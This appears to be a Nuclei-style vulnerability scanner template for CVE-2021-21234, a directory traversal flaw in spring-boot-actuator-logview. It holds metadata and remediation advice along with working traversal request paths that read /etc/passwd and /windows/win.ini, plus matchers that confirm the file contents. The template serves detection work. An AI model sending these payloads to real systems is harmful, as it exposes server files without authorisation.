漏洞描述
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
id: CVE-2021-21234
info:
name: Spring Boot Actuator Logview Directory Traversal
author: gy741,pikpikcu
severity: high
description: |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
impact: |
This vulnerability can lead to unauthorized access to sensitive information stored on the server.
remediation: |
Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
reference:
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
- https://blog.csdn.net/qq_39583774/article/details/123023770#t5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2021-21234
cwe-id: CWE-22
epss-score: 0.93852
epss-percentile: 0.99859
cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: spring-boot-actuator-logview_project
product: spring-boot-actuator-logview
tags: cve2021,cve,springboot,lfi,actuator,spring-boot-actuator-logview_project,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "contains(header,'text/plain')"
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
condition: and
- type: dsl
dsl:
- "contains(header,'text/plain')"
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
condition: and
# digest: 490a0046304402200a93864c49500e7e4ebd11107047991ee88a2b362be11dba9892821b38f1e85802205fb59fbe8c4dede19f7f0f3ab2c43d5137c3d89f0c1f049313e6a33ae3c41041:922c64590222798bb761d5b6d8e72950